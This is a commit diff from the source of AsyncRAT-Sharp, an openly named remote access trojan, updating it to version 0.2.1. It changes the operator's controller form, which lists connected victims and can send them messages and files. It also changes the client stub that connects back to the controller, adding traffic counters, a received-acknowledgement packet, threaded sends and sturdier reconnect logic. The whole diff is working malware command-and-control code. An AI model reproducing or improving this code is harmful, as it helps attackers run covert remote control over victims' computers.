Update 0.2.1
This commit is contained in:
parent
f458a93df8
commit
a222434485
@ -53,6 +53,7 @@
|
||||
<DependentUpon>Form1.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||
<Compile Include="Helper.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
<Compile Include="MessagePack\MsgPack.cs" />
|
||||
<Compile Include="MessagePack\MsgPackType.cs" />
|
||||
|
8
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
8
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
@ -40,6 +40,7 @@
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
@ -133,6 +134,12 @@
|
||||
this.ping.Interval = 50000;
|
||||
this.ping.Tick += new System.EventHandler(this.ping_Tick);
|
||||
//
|
||||
// UpdateUI
|
||||
//
|
||||
this.UpdateUI.Enabled = true;
|
||||
this.UpdateUI.Interval = 1000;
|
||||
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
@ -166,6 +173,7 @@
|
||||
private System.Windows.Forms.Timer ping;
|
||||
private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
|
||||
private System.Windows.Forms.Timer UpdateUI;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -18,6 +18,7 @@ using System.IO;
|
||||
|
||||
namespace AsyncRAT_Sharp
|
||||
{
|
||||
|
||||
public partial class Form1 : Form
|
||||
{
|
||||
public Form1()
|
||||
@ -25,19 +26,16 @@ namespace AsyncRAT_Sharp
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
async private void Form1_Load(object sender, EventArgs e)
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
Listener listener = new Listener();
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||
thread.Start(Settings.Port);
|
||||
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version);
|
||||
while (true)
|
||||
{
|
||||
await Task.Delay(1000);
|
||||
toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -53,14 +51,14 @@ namespace AsyncRAT_Sharp
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void sendFileToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -77,9 +75,8 @@ namespace AsyncRAT_Sharp
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -87,6 +84,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -96,28 +94,13 @@ namespace AsyncRAT_Sharp
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.LV.ForeColor = Color.Red;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Empty;
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
CL.LV.ForeColor = Color.Orange;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void ping_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (Settings.Online.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
foreach (Clients CL in Settings.Online.ToList())
|
||||
{
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
Environment.Exit(0);
|
||||
@ -136,6 +119,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void listView1_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
|
||||
@ -146,5 +130,24 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
|
||||
|
||||
private void ping_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (Settings.Online.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
foreach (Clients CL in Settings.Online.ToList())
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void UpdateUI_Tick(object sender, EventArgs e)
|
||||
{
|
||||
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -126,4 +126,7 @@
|
||||
<metadata name="ping.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>392, 17</value>
|
||||
</metadata>
|
||||
<metadata name="UpdateUI.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>490, 17</value>
|
||||
</metadata>
|
||||
</root>
|
@ -3,17 +3,18 @@ using System.Windows.Forms;
|
||||
using AsyncRAT_Sharp.MessagePack;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
|
||||
namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
class HandlePacket
|
||||
{
|
||||
public static void Read(Clients client, byte[] data)
|
||||
public static void Read(Clients Client, byte[] Data)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes(data);
|
||||
unpack_msgpack.DecodeFromBytes(Data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "ClientInfo":
|
||||
@ -21,13 +22,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
client.LV = new ListViewItem();
|
||||
client.LV.Tag = client;
|
||||
client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||
Program.form1.listView1.Items.Insert(0, client.LV);
|
||||
Settings.Online.Add(client);
|
||||
Client.LV = new ListViewItem();
|
||||
Client.LV.Tag = Client;
|
||||
Client.LV.Text = string.Concat(Client.Client.RemoteEndPoint.ToString());
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||
Program.form1.listView1.Items.Insert(0, Client.LV);
|
||||
Settings.Online.Add(Client);
|
||||
}));
|
||||
}
|
||||
break;
|
||||
@ -37,6 +38,18 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
}
|
||||
break;
|
||||
|
||||
case "Received":
|
||||
{
|
||||
if (Program.form1.listView1.InvokeRequired)
|
||||
{
|
||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
Client.LV.ForeColor = Color.Empty;
|
||||
}));
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch(Exception ex)
|
||||
|
18
AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
Normal file
18
AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs
Normal file
@ -0,0 +1,18 @@
|
||||
using System;
|
||||
|
||||
namespace AsyncRAT_Sharp
|
||||
{
|
||||
class Helper
|
||||
{
|
||||
public static String BytesToString(long byteCount)
|
||||
{
|
||||
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
|
||||
if (byteCount == 0)
|
||||
return "0" + suf[0];
|
||||
long bytes = Math.Abs(byteCount);
|
||||
int place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024)));
|
||||
double num = Math.Round(bytes / Math.Pow(1024, place), 1);
|
||||
return (Math.Sign(byteCount) * num).ToString() + suf[place];
|
||||
}
|
||||
}
|
||||
}
|
@ -7,6 +7,8 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
public static readonly List<Clients> Online = new List<Clients>();
|
||||
public static readonly int Port = 8080;
|
||||
public static readonly string Version = "0.2";
|
||||
public static readonly string Version = "0.2.1";
|
||||
public static long Sent = 0;
|
||||
public static long Received = 0;
|
||||
}
|
||||
}
|
||||
|
@ -69,12 +69,17 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
Read?.BeginInvoke(this, MS.ToArray(), null, null);
|
||||
Settings.Received += MS.ToArray().Length;
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
BufferRecevied = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
}
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
}
|
||||
@ -112,7 +117,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
catch { }
|
||||
}
|
||||
|
||||
public async void BeginSend(byte[] Msgs)
|
||||
public async void BeginSend(object Msgs)
|
||||
{
|
||||
if (Client.Connected)
|
||||
{
|
||||
@ -120,16 +125,15 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = Msgs;
|
||||
byte[] buffer = (byte[])Msgs;
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
|
||||
await MS.WriteAsync(buffersize, 0, buffersize.Length);
|
||||
await MS.WriteAsync(buffer, 0, buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null);
|
||||
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
catch
|
||||
{
|
||||
Disconnected();
|
||||
}
|
||||
@ -140,9 +144,10 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
try
|
||||
{
|
||||
Client.EndSend(ar);
|
||||
int Sent = Client.EndSend(ar);
|
||||
Settings.Sent += Sent;
|
||||
}
|
||||
catch (Exception ex)
|
||||
catch
|
||||
{
|
||||
Disconnected();
|
||||
}
|
||||
|
@ -23,7 +23,7 @@ namespace Client
|
||||
{
|
||||
public static readonly string IP = "127.0.0.1";
|
||||
public static readonly int Port = 8080;
|
||||
public static readonly string Version = "0.2";
|
||||
public static readonly string Version = "0.2.1";
|
||||
}
|
||||
|
||||
class Program
|
||||
@ -77,8 +77,11 @@ namespace Client
|
||||
public static void Reconnect()
|
||||
{
|
||||
if (Client.Connected) return;
|
||||
|
||||
Tick?.Dispose();
|
||||
|
||||
try
|
||||
{
|
||||
if (Client != null)
|
||||
{
|
||||
Client.Close();
|
||||
@ -86,6 +89,8 @@ namespace Client
|
||||
}
|
||||
|
||||
MS?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
|
||||
InitializeClient();
|
||||
}
|
||||
@ -106,6 +111,7 @@ namespace Client
|
||||
if (Client.Connected == false)
|
||||
{
|
||||
Reconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
int Recevied = Client.EndReceive(ar);
|
||||
@ -128,7 +134,6 @@ namespace Client
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
MS.Write(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
}
|
||||
@ -144,13 +149,17 @@ namespace Client
|
||||
Buffersize = 0;
|
||||
BufferRecevied = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[Buffersize - MS.Length];
|
||||
}
|
||||
}
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
Reconnect();
|
||||
}
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -160,6 +169,9 @@ namespace Client
|
||||
|
||||
public static void Read(object Data)
|
||||
{
|
||||
try
|
||||
{
|
||||
Received();
|
||||
MsgPack unpack_msgpack = new MsgPack();
|
||||
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
@ -196,14 +208,27 @@ namespace Client
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void Received()
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||
BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
public static void Ping(object obj)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
|
||||
BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void BeginSend(byte[] Msgs)
|
||||
{
|
||||
@ -219,7 +244,7 @@ namespace Client
|
||||
MS.Write(buffer, 0, buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null);
|
||||
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
||||
}
|
||||
}
|
||||
catch
|
||||
|
Loading…
x
Reference in New Issue
Block a user